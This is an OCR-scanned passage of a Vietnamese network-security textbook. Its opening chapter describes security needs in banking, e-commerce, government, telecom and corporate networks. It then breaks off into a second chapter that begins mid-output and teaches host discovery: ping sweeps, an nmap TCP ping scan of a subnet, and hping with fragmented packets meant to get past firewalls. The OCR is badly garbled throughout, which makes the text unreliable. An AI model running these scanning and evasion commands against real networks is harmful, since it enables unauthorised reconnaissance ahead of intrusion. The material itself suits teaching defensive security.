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CHUO’I\]G 1
Mo¢o dau

Tam quan trong cua an ninh truyén théng tir lau da dwoc ghi nhan
trong quan su va trong nhufﬂg lIinh vuc hoat dong xa ho1 noi ¢o lhb xuat hién
su uy hmp dc:n an ninh quéc gm Viée 1am chi an ninh truyén thong va
nhitng con s6 bi mat cia no6 - giai méa cac mat mé - duge c6ng nhanahu mot
tac nhan quan trong dem lai chién thang trong rat nhiéu cude Xung, dat quan
su tir nhiéu thé ky qua, trong do co ca Thé chién thé II & the ky, trege. Véi
khai niém nay an ninh truyén thong la phuong tién che dau thang tin va bao
vé no khong b1 bop méo hay b1 mat mat trong qua trinh tru}E:n tin. Viéc giai
ma cac mat ma la nhirng phwong tién lam vo higu h{}& cacrkha nang an ninh
ctia doi phuong.

Quyén sach nay khong dé cap dén an nifth truyen thung & cap an ninh
quéic gia, ma chi dé cap dén viée irng dung cae' k¥ thuat twong tw cho cac
mang may tinh trong thwong mai va trong eac Jlinh vuc khong mat khac cua
chinh phu. ing dung réng rai cua nhiing k¥ thuat nhw vay trong nhitng linh
VUC nay gan day md1 duge chirtnginhan. Vicc giai ma cac mat ma tir lau da
duoc coi 1a cac cude chién phue.tap va kho chiu cho du gia thanh cua cac
gial phap an ninh phirc tap ciing'khong no1 1€n dleu gi. Tuy nhién, hién nay
¢6 ba xu hudng phat trién chinh'lam cho cac van dé an ninh tru}rvzn thong
nga}f cang trd nén nghiéf trend va budc ching ta can phai danh gia khan
cap quan diém nay lag [ <

* Su gia tang lién, két gitra cac hé thcmg va cac mang lam cho mot hé
thong bat ky ‘@éu co thé tr thanh truy cap duge d6i v6i mot cong dnng
nguo1 dung hnan toan khoéng quen biét gia tang nhanh chong veé s6
lwonig:

¢ Viéeswdung ngay cang nhiéu mang may tinh dé truven di cac thong tin
nhay 'cam an ninh, vi du nhu, chuyén tién dién tir, trao déi dir lidu
thwong mai, cac théng tin khong mat nhung nhay cam cua chinh phu,
va cac thong tin lién quan dén tai san cuia cac cong ty va cac tip doan
V.V..

o K¥ thuét tan cOong mang may tinh ngay cang tré nén dé dang hon nho
¢6 san cac cong nghé phﬁt trie'::n phure tap va gia thanh cua cac cong
ngh¢ do6 thwong xuyén giam xudng nhanh chong lam cho bat ky ngudi
hicu ky nao ciing ¢6 thé tré thanh ké tan cong mang.



Nhlrng ké tan cong mang (hacker) hien nay la nhiing phan tu “tham
canh c6 d€” ctia modi trudng mang dién rong [STE]] Cac mang cua
chinh pht, cta cac co quan tai chinh, cia nhitng cong ty vién thong va
cac tap doan tu nhan da tro thanh nhitng nan nhan cua cac vu dot nhap
ciia hacker va trong twong lai vin la nhiing muc tiéu sin dudi cla
chung.

Cac vu d6t nhap mang thuong cé pham vi tic dong rat rong nhu mot

s6 biéu hién cuia cac truong hop di duoc ghi lai dudi day:

e MOt loat céc dot tin cdng cia hacker vao hang trim co s& nghién ciru
cta chinh phi va quan d6i M§ duoc md ta chi tiét béi co quan Cliff
Stoll [STOL1]. P6 1a truong hop cia cac dot tin cong thanh céng (hau
nhu khong bi phat hién) trong thoi gian nhiéu thang troi. Tha pham la
mot co quan tinh bao nurdc ngoai. BPong co ca nhan cua hacker la co hoi
thu loi vé tai chinh. Tt cAu truyén cua Cliff Stoll thi thong dieép lam cho
nhiing thao tac vién mang va nhitng nguoi dung lo ling nhat chinh 1a su
dé dang ma céac hacker d3 dot nhap va thiét bi rat so ding ma chung da
st dung vo1 trinh do k¥ thuat tam thuong.

¢ Con sau mang (Internet Worm) duoc tha 1€n mang Internet vao thang
11 nam 1988 bo1 sinh vien Robert Morris Jr. cua truong dai hoc Cornell
[SPA1]. Con sau mang nay la mot chuong trinh dot nhap tu nhan ban.
No tien hanh quet toan mang nternet dé lan nhiém va khéng ché hitu
hiéu tbi thiéu la 1200 (c6 thé 1én dén 6000) may tinh mang internet
chay trén hé diéu hanh UNIX.

Khé cé thé thu thap duoc day du cac s6 liéu tin ciy vé cac vu dot nhap
ctia hacker va cac su co an ninh khac, vi chinh cac nan nhan tir chéi khﬂng
tu nhin ho bi (hoic di bi) thiét hai. C6 thé tha*f xu huong gla tang cua cac
vu dot nhap nhap mang internet qua cac so liéu thcnng ké vé cac su cO an
ninh duoc luu trit ta1 iy Ban Chiu Trach Nhiém Vé Cac Van Dé Khan Cap
Cac May Tinh Mang Internet - duoc hinh thanh tir sau sw ¢6 con sdu mang
Internet (Internet Computer Emergency Response Team, viét tit la CERT).
S6 cac su c¢6 duoc ghi la1 trong tho1 ky tu 1989 dén 1992 duoc trinh bay
trong bang 1-1. Luu ¥ rang, mot sw c¢6 ¢ thé chi tac dong to1 mot dia chi
hoic cling ¢6 thé tac déng dén hang ngan dia chi va cac su cb ¢ thé cé tac
dong trong mot tho1 gian dai.



Nam S6 Sur o
1989 132
1990 252
1991 406
1992 713

Bang 1-1: Cac su ¢b an ninh mang Internet duoc ghi lai trong giai doan
1989-1992

C6 rat nhiéu dong co siu xa dé tan céng vao cac mang thu’n:mg mai hoac
khong mat cua chinh phu. Do la cac vu dot nhap mao hiém va phiéu luu dé
gian lan ta1 chinh, an cap tai nguyen vién thong, lam gian diep cong nghiep,
nghe lén dé lay trém thong tin phuc vu cho lo1 ich chinh tr1 hodc ta1 chinh
cua nhiing nhan vién bat binh hoic nhiing ke cb tinh pha hoai. Ngoai nhiing
kiéu tan cong c6 tinh thi an ninh truyén thong cling can phai ngén ngua su
khai thac vO tinh cia nguoi dung. Viéc két ndi vo tinh cta phién truyén
thong nhay cam dén mét dia chi sai hoic mot 161 vo tinh d6i véi théng tin
nhay cam can duoc bio vé c6 thé giy ra mot su pha hoai thanh cong nhu
mat su tin cong ¢ chi ¥ |

1.1 Cac yeu cau dac trung ve an ninh mang

Su de doa cta cac hacker ludn 1a mot méi quan tAm trong tit ca moi
mang co truy cap cong cong hay co su dung cac phuong tién cong cong. Tuy
nhién, do khong chi don thuan chi 1a su lo lang Pé dua ra duoc cac yeu cau
vé an ninh mang ching ta hily xét nhiing van dé an ninh trong mét s6 méi
truong ing dung mang quan trong duoi day.

Trong linh virc ngan hang

Tu nhitng nim 1970, dich vu chuyén tién dién t&¢ CTDT (Electronic
Funds Transfer, viét tit la EFT) d3 1a tiéu diém cda tmg dung an ninh truyén
thong trong cong nghiep tai chinh [PARRI]. MObi quan tim chinh la dam bao
sao cho khong cho bat ky a1 can thi€p vao qua trinh CTDT, w1 chi can don
gian stra lwong tién chuyén khoan hay stra s6 tai khoan 1a cé thé gian lan
dugc mot khoan tai chinh khong 1.

Day 1a van dé chinh clia cac co quan tai chinh, noi phat sinh va x Iy céac
giao dich, vi ho phéi duwong dau véi vién cénh chiu dung nhitng chi phi ton
that cla su gian lan. Cho du co phat hién duoc su gian lan thi trong thue té
cling kho ¢ thé khéi té duoc vi nhiéu 17y do, va d6 dang tré thanh mot thiét
hai c6ng cong hién nhién dbi véi cac co quan nay. Do hé thong tai chinh ¢é
chuwra dung yéu to nguy hai nhu vay tu phia xa hoi, nén viéc bao ve he th{;jng
nay cling lién quan dén cic co quan chinh phu. M6t vu tan céng nghiém



trong quy mo lon VHD mot mang cua he tht}ng tai chmh quan trong cling co
thé tac dﬂng lam mat 6n dinh nén kmh té cia mot quﬂc gla

Tinh chat nghlem trong cua cac van dé an ninh trong nén cong nghiép tai
chinh va su ho tro tir phia chinh phu déd lam cho cac ung dung cdng nghé an
ninh trong nganh céng nghiép nay trd thanh vi tri dimg dau trong thé gidi
thuong mai.

Trong nhiing nam 1980, viéc ra mit nhitng mang may néi tu dong
(Automatic Teller Machine, viét tat la ATM) va cac dich vu CTDT tai not
ban (EFTPOS) d3 lam ting cac van dé méi vé an ninh truyén thdng trong thi
truong kinh doanh ngan hang ban le [DAVI1, MEY1]. Viéc dua vao sur dung
cac tien ich nhu vay yeéu cau su dung cac the nhua va cac s6 nhan dang ca
nhan SNDCN (Personal Identification Number, viét tit la PIN). Nhung, vi
cac thé nay thuong xuyén bi mat cip va dé bi lam gia, nén an ninh cla cic
he théng phu thuoc vao su bi mat cua cac SNDCN. Viec giit b1 mat cua cac
SNDCN b1 phurc tap hoa bé1 mét thuec té la trong qua trinh xu ly mot giao
dich thi phai lien quan dén cac mang duoc quan 1y da phan chia.

Hon nita, cac ngan hang da nhin thay treoc duoc su tiét kiém chi phl
trong viéc thay thé cac dich vu giao dich trén giav bang cac dich vu giao
dich dién tur. Nén khi cac dich vu giao dich dién tir moi ra do1 ngay cang
nhiéu thi an ninh mang cling yéu c:au phai phat trién theo.

Cang ngay, cac ngan hang can phai bao dam ring ngudi tham gia mé
giao dich phai la chinh cht (x4c thuc). Do vay, can c¢6 mot chit k?v dién tr
twong duwong vdi chit k?¥ trén gidy cla khach hang. Cac ngan hang ciing
chiu trach nhiém vé sur bi mat cua cac giao dich.

Trong thuong mai dién tu

Viéc trao doi dit lidu dién td TDDLDT di bit dau lam xuat hién mot
ving ung dung vién théng co ban tir nhitng nim 1980 [SOK1]. Muc tiéu clia
TPDLDT la thay thé toan bd céac hinh thirc giao dich thwong mai trén giy
(vi du nhu don dat hang, hoa don thanh toan, cac chung tu, v.v..) bﬁng cac
giao dich dién t&r twong duong. TEDDLDT c6 thé dem lai mot su gidm gia
thanh dang ké trong hoat dong kinh doanh.

Pé lam cho TPDLDT duoc chap nhan rong rai trong hoat dong kinh
doanh thu'f.::rng mai thi an ninh la mot yeu to khong thé thiéu duoc. Ngum
dung can phai duoc dam bao chic chin rang, hé thc:-ng dién tu cung cap cho
ho su bao vé twong duong (khong noéi la tot hon) dé tranh sai sét, hiéu lam
va chong lai nhitng hanh vi1 gian lan so vo1 su bao vé ma ho dd quen thudc
trude d6 & hé thong quan Iy giay to va chit ky trén gidy.

Trong TDDLDT c6 mot nhu cau thiét yeu dé bao veé chong lai viée sia
d6i dit 1iéu vo tinh hay cb 7y ?7va dé ddm bao ring, xuit st clia moi glao dich
déu hop 1&. Tinh chat bi mat va riéng tu cla cac giao dich cling cin phai



duoc dam bao vi trong do co chira cac thong tin bi mat cua cong ty. Ve khia
canh nay thi TDDLDT hoan toan gmng nhu dich vu CTDT. Tuy nhién, dich
vu CTDT dua ra cac thach thitc méi vé an ninh, vi chg ang cac nguol
dung 16n hon va cac to chirc kinh doanh ngay cang phat trién nhiéu hon.

Dich vu CTDT cling dua ra mot yéu cau moi co ban. Céac giao dich
CTDT cau thanh cac hop dong kinh doanh, c6 nghia la ching phéi ¢6 céc
chit k?y dién t ¢6 tinh hop phap gn:mg nhu cac chit k?y trén giay. Vi du,
chung co6 thé duoc chap nhan nhu bing chimg trong viéc giai quyét cac tranh
chip trude toa 4n luit phap. Dé chir k?¥ dién tir c6 dwoc vi tri hop phap bay
g10, nguol ta dd phai tranh luan trong nhiéu nim troi. Vi du, nhu niam 1992,
Hiép ho1 cac Dao luat cua Hop chung qué:c Hoa ky co dua ra mot Nghi
quyét co no1 dung nhu sau:

Ghi nhan, cac thong tin o dang dién tu, trong diéu kién thich hop, co thé
duoc coi la thoa man cac yéu cau hop phap so véi chir viét hodc chir ky trén
giay hodc ¢ dang truyén thong khdc trong cting mot phgm vi, khi dd chap
nhan mc thii tuc, cdc kj thudt va thue tién an ninh tuwong rng.

Vi tiét kiém chi phi cho nguo1 dung va cac co ho1 th truong mé rong
cho cac nha cung cap thiét bi, dich vu CTDT duoc xem nhu mét co hdi 1én
d61 véi nguot dung cling nhu cac nha ban hang. Cac giai phap k§ thuét va
cac tiéu chuan hd tro cho an ninh CTDT dang tré thanh diéu quan trong co
ban do1 véi hau hét tat ca cac nganh cong nghiép.

Trong cac co quan chinh phii

Cac co quan chinh phu ngay cang sir dung nhiéu mang truyén thong may
tinh dé truyen tai thong tin. Nhiéu trong so cac thong tin do hoan toan khong
lién quan dén an ninh qudc gia, nén ching khong phai 1a cac thdng tin mét.
Tuy nhién, chung la1 yeu cau can duoc bio vé an ninh vi nhitng 17y do khac,
ching han nhu bao ve tinh riéng tu hop phap. Nhiing thong tin khong mat
nhung nhay? cam nay co thé duoc truyén tai di thong qua thiét bi n6i mang
thuong mai co sin st dung céc cap giam sat an ninh thoa dang.

Vi du, ¢ My, Pao luat An ninh May tinh nam 1987 co dua ra khai niém
vé cai goi 1a “thong tin nhay cam” duoc dinh nghia nhu 1a “moi thong tin bat
ky, ma su lam that thoat nd, st dung sai né hoic truy nhap trai phép hay sta
ddi né c6 thé tac dong ché:ung la1 lo1 ich cua quéc g1a hoac chéng la1 su chi
dao cta cac chuong trinh Lién bang, hoic cac quyén riéng tu cla cac ca
nhin duoc néu trong Piéu 552a, Khoan 5, Luat Hoa ky ( Pao luat vé quyén
ca nhan), nhung chua duoc ding ky ban quyén dic biét theo tiéu chuan ma
Quéc hdi phé chuin déu phai duoc gitt bi mat dé bao vé loi ich qudc gia va
ngoai giao”. Uy ban cac tiéu chuan ctia Hoa ky (NIST) d3 duoc giao “trach
nhiém phat trién va dé ra cac tiéu chuin va hudéng dan thi hanh ... dé c6 thé
dam bao duoc an ninh va tinh bi mat rieng tu cua cac thong tin nhay cam”.



Quy dinh nay con phan biét su khac nhau gifta cac thong tin nhay cam va
thong tin mat thudc su quan Iy ctia Co quan An ninh Quoc gia. Nhiéu qubc
gia khac cling c¢6 cac chinh sach thich timg dé cdng nhan va quan Iy cac dit
lieu khong mat nhung nhay cam.

Van dé an ninh noi bat nhat 1a su dam bao gitt duoc tinh bi mat va rniéng
tu, ¢ nghia 1, thong tin khong bi 16 do v6 tinh hay ¢6 v d61 vdi tat ca nhitng
ai khong cé quyén sé hitu nhitng thong tin d6. Mot ndi dung an ninh khac 1a
dam bao ring, thong tin khong bi truy nhip hoic stta ddi béi bat ky ai khong
¢ quyén chinh dang.

Nhitng tiét kiém chi phi cua giao dich dién tir so vo1 giao dich trén gidy,
vi du nhu tao ho so dién t&r vé hoan tra thué, cling dang duoc cac co quan
chinh phu trién khai nhanh chong. Ngoai nhiing dam bao vé tinh bi mat va
rieng tu, nhiing he thong nhu viy déu dua ra yéu cau dbi véi cac chit ky dién
t&r kha thi vé mit luit phap. Nam 1991, véi viéc d& bé rao chin cla cac diéu
luat chinh Chinh phu Hoa ky da mo du’t:mg cho viec su’ dung chtr kv dien tu.
Mot Quyet nghi cua cua Uy ban Kiém soat ¢ néu rang cac hop dﬂng coO su
dung chit ky dién t&r déu co gia tri phap 12 dbi véi cac co quan chinh phi cé
trang bi cac hé thong an ninh hoan hao (Théng béo ctia chinh pht lién bang
vé luit ban quvén hodc cac tiéu chuan chit ky s6 hoa phai duoc tuin tha).

Trong cdc té chirc vién thong cong cong

Viéc quan 1y cac mang vién thong cdng céng gom nhiéu chirc ning
chung nhu: Van hanh, Quan tri, Bao tri va Giam sat VQB&G (tieng Anh
viét tit 1a OAM&P). Nhitng chirc ning quan 1y nay lai ¢6 nhiing tién ich noi
mang dit lidu cap thap hon dé lién két cac thiét bi thudc cic ching loai khéc
nhau va c6 mot cdng déng ngudi ding dong dic (nhitng nhin vién vin hanh
va bao tr1). Trong khi viéc truy cap vao nhiing mang nhu vay chi bi khong
ché khit khe mot lan, con cac dudng truy cap moi thi la1 dé ngo. Cac kha
nang nhu quan ly mang khach hang cung cap cho nhan vien lam dich vu
khach hang truy cip mang quan Iy dé thuc hién cac chic ning quin 1y mang
trén tai nguyén mang do td chitc ngudi dung d6 str dung.

Cac mang va hé théng quén 1y truyén thong dé bi cac hacker dot nhap?
[STE1]. Bong co chung cua nhitng vu d6t nhap nhu vay la an cip cac dich
vu truyen thong. Khi dad dot nhap dugc vao quan ly mang thi viéc dn cip nhu
vay co thé duoc nghi ra dudi nhiéu hinh thirc khac nhau, chang han nhu gor
cac ham chan doan, diéu khién cac ban ghi tinh tién, va stra doi cac co s& dit
liéu giam sat. Cac vu dot nhap quan 1y mang cling ¢6 thé duoc thue hién truc
tiép tir cac cudc nghe trom trén cac cudc goi cua cac thué bao.

Van dé chinh cfia cac co quan vién thong 1a tim kiém cac ton hai an ninh
lam cham tho1 gian truy cap mang ma co thé phai tra gia cuc ky dit cho cac
quan hé khach hang, thit thu ngan sich va gia thanh phuc hdi. Cac vu tin



cong cd y vao kha nang san sang cua ha tang vién théng qun::nc gia tham chi
con duoc coi nhu 1a mot van dé an ninh quﬂc gia.

Ngoai cac vu dot nhap tir bén ngoai, cac co quan vién thong cling con
phai quan tdm dén cac ton hai tir cac ngudn bén trong nhu nhiing thay doi
khong hop 1€ cua cac co s¢ dit lieu quan 1y mang tu phia nhan vién khong co
trach nhiém thuc hién nhitng cong viéc nay. Nhiing biéu hién nhu vay co
theé 1a v ¥ va cling c6 thé 1a ¢o ?tinh, ching han hanh vi ctia m6t nhén vién
bat man. Pé bao vé chong la1 nhiig hién tuwong nhu vay thi viéc truy cap
vao moi chirc ning quan ly can phai duoc gio1 han nghiém ngat va chi danh
cho nhiing ai c¢é nhu ciu hop phap. Piéu quan trong 1a can phai biét chinh
xac nhan dang cua ca nhan dang co y dinh truy cap mot chirc nang quan ly
cua mang.

T'rong cac mang cong ty/tu nhan

Hau hét tat ca cac cong ty deu cb cac yéu cau bao vé cac thong tin vé s&
hiru ta1 san nhay cam. Viéc tiét 16 nhitng thong tin nhu vay cho cac dbi thu
canh tranh hoac nhiing ca nhan va td chirc bén ngoal co thé lam thiét hai
nghiém trong cho céng viéc kinh doanh, trong chimg muc nao d6 cé thé dem
lai su thing thau hoic mat cac hop dong kinh té va cling cé thé anh huéng
dén su ton vong cta cdng ty. Cac mang dang ngay cang duoc st dung dé
chuyén cac thong tin vé s& hitu tai san, vi du gitta cac ca nhén, gifta cac dia
diém vin phong, gifta cac cong ty con va/hoic gitta cac d6i tac kinh doanh.
Mang cong ty khép kin da tré thanh mot khai niém lac hau, vi xu huong
dang phat trién hién nay 1a lam viéc tai nha.

Viéc bao ve cac thong tin vé s& hitu tai san khong chi la mot mm quan
tim. C6 nhiéu td chirc duoc tin tudng gift gin cac thong tin riéng tu vé céc to
chuc va cac ca nhan khac ma ho co trach nhiém phai bao dam viec bao ve bi
mat. V1 du nhu cac tn:} churc cham soc suc khoe va cac co quan phap luat.

Céac yéu cau vé bao dam tinh xac thuc ca céc tin nhin cling tang lén
trong cac mang cong ty. Mot tin nhan dién tr quan trong luon can phai xac
thuc, cling twong tu nhu mot tar iéu trén giay quan trong can phal co mot
chir ky.

Cho dén hién nay, cac cdng ty d3 hoat dong VOl g1d thlet ring, cac co cau
bao vé tuong doi don gian s€ thoa man cac yeéu cau vé an ninh cta ho. Ho
hoan toan khong ban tam vé cac vu dot nhap vo1 cong nghé phure tap nhu doi
vdi cac linh vuc mat cda chinh pha. Tuy nhién, ngay cang cé nhiéu bing
chimg cho thay, cac tai nguyén tri tué cia mot s6 chinh phi ngoai quoc dang
duoc st dung vao cac muc dich tinh bao cong nghieép. Cong nghi€p thuong
mai c¢6 thé s& khong con duoc tiép tuc tw min veé sirc manh cua cac bién
phép an ninh d3 duoc dung dé bao vé cac théng tin vé tai sin nhay cam.



1.2An ninh va cac hé thong mé

Nhimg thuat ngtt an ninh mang va cac hé thong mé cé thé xuat hién
trai nguwoc nhau vé khai niém, nhung thuc ra thi khéng phéai nhu vay. Khai
niém hé thong mé biéu dién phan Umg cla ngudi mua trong nhiéu nim cim
doan cta nhiing ngudi ban may tinh ca nhan cling nhw cac phan cimg va
phan mém truyén thong. N6 dugc cor nhur la con duong dan dén su lua chon
mo cua cac nha cung cap cac cau thanh riéng ré cua he thong véi su dam bao
rang, cac cau thanh tir cac nha cung cap khac nhau s€ hoan toan lam wviéc
duoc véi nhau dé thoa min cac nhu cau clia nguoi mua. Chuong trinh diéu
khién céc hé thﬂng m¢ b1 rang budc chidt ché val viéc thiét lap va thuc thi
rong rai cac tiéu chuan.

Nbi mang may tinh va cac hé thmng mao luon gan lién v6i nhau. Su ra
dot cua cac he thc:-ng mo dau tién — N6i ket cac hé thong mé (Open Systems
Interconnection, viet tit 1a OSI) - duoc tién hanh tu nhiimg nam 1970 bing
viec phat trién cac tieu chuan cho tha tuc truven thong may tinh duoc thoa
thuan gitra cac qu:::-c gia tren thé g101. Ng{:}al he thﬂng céc tiéu chuan chinh
thirc OSI thi cac thi tuc ndi mang hé thong mé d3 duoc thiét 1ap bai cac tap
doan khac - dac biét la Hiép ho1 Internet voi thu tuc TCP/IP. Thong qua cac
hoat dong noi mang cac hé the:}ng mo nay, thu tuc nay da co kha nang két noi
thiét bi tir I'th]f:ll nha cung cap khac nhau, cho phép sur dung tat ca moi cong
nghiép truyén théng va thoa min moi yéu cau ctia hau hét moi tmg dung.

Viéc duwa bao vé an ninh vao trong cac mang hé thong mé hién nay 1a
mot nd lue dang ké. N6 cho thay, d6 1a mot nhiém vu phirc tap & quy md
rong lon, vi no thé hién su giao ket cua hai cong nghé - cong nghé an ninh
va thiét ké thd tuc truyén thong. Dé cung cap an ninh mang hé thong mé thi
can phai st dung cac k¥ thuit an ninh két hop véi céc tha tuc an ninh , sau
nay duoc tich hop vao trong cac thi tuc mang truyén théng,

Can phai dua ra cac tiéu chuan twong thich va day da bao trum 1én ba
linh vuc rong lon sau:

- Cac k¥ thuat an ninh
- Cac thu tuc an ninh muc dich chung
- Cac thu tuc img dung dac biét nhu ngan hang, thu dién th v.v..
Cac tht tuc lién quan cho cac linh vuc nay déu duoc lay tir bon ngudn
chinh la:
- Céc tiéu chuan quc-c té vf::: cong nghe thong tin dugce xay dung baoi To6
chirc tiéu chuan quoc té ISO, Uy ban dién k¥ thuat Qubc té (IEC),

Lién hiép Vién thong Quoc té (ITU), va Vién cac K§ su Dién Dién tix

(IEEE).

- Céc tiéu chuan cdng nghiép ngin hang, duoc phat trién béi td chirc

ISO hodc ba1 Vien cac Tieu chuin Qué}c gia Hoa ky,



- Céc tiéu chuan cua cac quoc gia, dic biét 1a cia chinh phu lién bang
Hoa ky
- Céc tht tuc vé mang internet duoc xay dung bo1 Hiep hoi Internet.
Nhitng tieu Ghuan l1én quan dén an ninh tir tat ca cac nguon trén s& duoc
trinh bay & trong cudn sach nay.

Két luan chuong

An ninh mang da tré thanh mot yéu cau chuyén mon hoa cua cac moi
trrong an ninh quac gia va qudc phong. Cac yéu ciu vé an mang da xuét
hién trong hau hét moi mdi truong tmg dung mang, bao gébm mang ngan
hang, mang thuwong mai dién t&t, mang chinh phu (khong mat), mang truyén
thong cua cac to chirc truyén thong va cac mang cong ty/ tu nhan. Tap hop
cac yéu cau dic trung cua nhitng méi truong nay duoc tong hop trong bang
1-2.

An ninh mang can phai duoc thuc thi hai hoa var su phat trién cua mang
hé thong mé (co nghia la mang khéng phu thudc vao céc nha cung cap thiét
bi). Piéu nay co nghia la cac cau thanh co ban cta an ninh mang — cac k¥
thuat an ninh va céac tha tuc an ninh can phai duoc phan anh trong cac tiéu
chuan hé thong mé tuwong Ung.

Trong chuong 2 chung ta s€ sur dung nhiing yeéu cau an ninh & trong bang
1-2 nhu mot mmnh hoa vé su chuvan dich than tinh tur nhiing yéu cau nay
thanh nhitng moi de doa nhu thé nao va lam thé nao cé thé s dung cac dich
vu an ninh dé ra xét cac oamois de doa nay. Cac chuwong sau d6 sé trinh bay
cac phuong phap thuc thi cac dich vu an ninh nay.

Bang 1-2: |

Mo1 truong ung dung Cac veu cau
Tat ca cac mang Béo vé chong ddt nhép tir bén ngoai (hacker)
Mang ngan hang Bao vé chong gian 1an hoic stra do1 vo tinh cac

g1ao dich

Nhan dang cac khach hang giao dich lé

Bao vé chong tiét 16 SNDCN

Bao dam tinh bi mat va riéng tu cua khach hang

Mang thuong mai dién t&¢ | Pam bdo nguodn va tinh nguyén ven ciia cac giao
dich

Bao ve bi mat cua cac cong ty

Bao dam su rang budc cua cac chit ky dien tu
Vo1 cac giao dich

Mang chinh phu Bao vé chong lai su tiét 16 hoic van hanh khong
hop phap cac thong tin khong mat nhung nhay




cam
Cung cap chir ky dién t& cho cac gidy to hanh

chinh cua chinh phu
Mang cua cac to chuc | Han ché truy cap vao cac chic nang quan ly cho
truyén thong nhiing ca nhan co tham quyén

Bao vé chong lai viéc lam gian doan cac dich vu
Bao vé b1 mat cho cac thué bao

Mang cong ty/rieng le Bao ve rieng tu va bi mat cua cong ty/ ca nhan
Dam bao tinh trung thuc cua tin nhan
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CHUO:NG 2
QUET

Host (192.168.1.255) seems to be a subnet broadcast
address (retumed 3 extra pings).
Nmap run completed — 256 IP address (10 hosts up) scanned in 21 seconds

Ta dé dang nhan thay rang phan mém mién phi Pinger (xem trong Hinh 2-1)
cua Rhino9 (trén dia chi htttp:// www.nmre. Org/files/snt/) la mot trong nhiing
t1€n ich que:t ping téc d6 cao nhét. Cling gmng nhu fpmg, tién ich nger phat
ra nhimg go1 tin ICMPECHO song song va chi don gian do1 va nghe tin hiéu
phan héi. Pinger ciing cho phép ban giai quyet cac hostname va lr gfﬁ’ liéu
thu duoc vao mat file. Mdt san pham khéc ¢6 toe do ngang tam V@'t nger do
la Ping Sweep ciia SolarWinds (www.solarwinds.net). Ping Sweep ¢ tée do
nhanh dang ngac nhién boi noé cho phép ban xac dinh dwge thoi gian tri hodn
khi gu1 cac go1 tin. Bang thao tac thiét lap gia tr1 nay Ve 0 hnac 1, ban c6 thé
quét toan bg Class C va giai quyét cac hostname tﬁmg vong khudng 7 giay.
Tuy vay ban hay can than v6i nhitng cong cu nay' Vi ban ¢6 thé dé dang bao
hoa mét lién két chdm vi du nhu 128K ISD"!&r hﬂﬁc két néi Frame Relay (d6 1a
chua ké dén céac két ndi vé tinh hoac IR). # y

Céac tien ich Windows ping sweap khac g6m c6 WS Ping ProPack
(www. ipswitch.com) va NetScanTeols'(trén www.nwpsw.com). Nhiing cong
cu sau nay ciing du tinh nang. de Quét nhlrng mang nho. Tuy nhién ching la1 c6
téc d6 cham hon nhiéu so véi ngﬁr va Ping Sweep Can chil ¥ rang mic dau
nhitng cong cu dua trén GUIL nay.44o ra két qua co ve thoa man nhung ching
lai han ché tinh nang scrip vatwrr dong hoa ping sweep

o | |, e |t |

Minh 2-1. Thiét bi quét ping trong
Rhmno9 la moét trong nhimg tien ich
nhanh nhét hién c¢6 - Thiét bi nay mién

phi.




C6 thé ban sé thic mic diéu oi s& x4y ra néu nhu ICMP bi khoa bo1 mot v1 tri
muc tiéu. Mot cu hoéi rat hay. Thong thuong ching ta khong may khi gip
nhiing site duoc bao mat ky cang lai khoa ICMP tai cau dan hoic firewall.
Khi ICMP c6 thé bi khoa, ta c¢é thé st dung mdt s6 cong cu va tha thuat ho tro
nhim xac dinh xem hé thong c¢é thuc su hoat dong khéng. Tuy vay nhiing thu
thuit va céng cu nay cling khdéng thé chinh xac va hitu ich nhu mot ping
sweep thong thuong.

Khi lumng thong tin ICMP b1 khoa, port scanning (quet cﬂng) la k¥
thuat diu tién nhim xac dinh nhitng may chu dang két ndi truc tlE:p (Quet
cnng s€ duoc nghién cuu k¥ trong phan cudi Chuong nay). Qua thao tac quet
d6i véi cac cong théng thudng trén céac dia chi IP tiem nang, ta co thé xac dinh
nhu'ng may chu nao dang hoat dong néu nhu ta cé thé :{ac dmh duoc nhiing
cong mo va nghe trén hé thcmg muc t1éu. Thu thuat nay rat ton thoi glan va
thu’cmg khong thu dm:rc két qua nhu mong mubdn. Mot cong cu su dung nhim
hd tro tht thuat quét cong do la nmap. Nhu d3 dé cip trude d6, nmap cdé tinh
nang thuc thién thao thac queét ICMP. Tuy nhién no cling dua ra su lua chon
cao cap hon co ten TCP pmg scan. Mot TCP ping scan dugce khon chay bing
lra chon d61 s6 -PT va s6 cta cong vi du nhu 80. Chuing ta sir dung 80 la vi do
la cong thong dung ma céc site s& cho phép qua cau dan bién vao nhiing hé
thong trén ving phi quan sw (DMZ), thim chi c6 thé qua ca firewall. Lua chon
nay gui nhitng go1 tin TCP ACK sang mot mang dich va doi cho to1 khi1 RST
xac dinh la may chu dang hoat dong. Cac go1 tin ACK dugce gui di1 bo1 no co
nhiéu kha ning c6 thé vuot qua duoc firewall khong kién ¢b.

[tsunami] nmap -sP -PT80 192.168.1.0/24
TCP probe pott 1s 80

Starting nmap V.2.53

Host (192.168.1.0) appears to be up.

Host (192.168.1.1) appears to be up.

Host shadow (192.168.1.10) appears to be up.
Host (192.168.1.11) appears to be up.

Host (192.168.1.15) appears to be up.

Host (192.168.1.20) appears to be up.

Host (192.168.1.50) appears to be up.

Host (192.168.1.101) appears to be up.

Host (192.168.1.102) appears to be up.

Host (192.168.1.255) appears to be up.

Nmap run completed (10 hosts up) scanned 1n 5 seconds

Ta c6 thé thay ring phuong phap nay rit hiéu qua gitp xéc dinh hé
thn:}ng nao dang hoat dong néu nhu site khoa ICMP. Do vay chung ta nén thu
tién hanh quét lip lai véi mot sd cong thong thuong nhu SCTP (25), POP
(1 10) AUTH (113), IMAP (143) hoac mot so loa1 cong khac dac trung duy

nhat cho site nay.



Hping trén dia chi http://www kyuzz org/antirez/ 1a mot tién ich ping
TCP khac véi tinh ning TCP bd xung so véi nmap. Hping cho phép nguoi st
dung kiém soat cac lua chon géi tin TCP cu thé cho phép géi tin nay cé theé
ludn lach qua cac thiét bi kiém soat truy nhip. Bang cach thiét 1ap cong dich
bing lwa chon d6i s6 -p, ban c6 thé danh lira mét s6 cong cu kiém soat truy
nhip tuong tuw nhu traceroute nhuw di tim hiéu trong Chuong I Ta cé thé st
dung Hping dé thuc hién quét TCP va cdng cu nay con co tinh nang chia doi
cac gdi tin, ¢ nhiéu kha ning vuot qua mot sb thiét bi kiém soét truy nhép.

[tsunami] hping 192.168.1.2 -s -p 80 -f
HPING 192.168.1.2 (eth0 192.168.1.2): S net, 40 data bytes
60 bytes from 192.168.1.2: flags=SA seq=0 ttl=124 1d=17501 win=0 time=46.5

60 bytes from 192.168.1.2: flags=SA seq=1 ttl=124 id= 18013 win=0 time=169.1

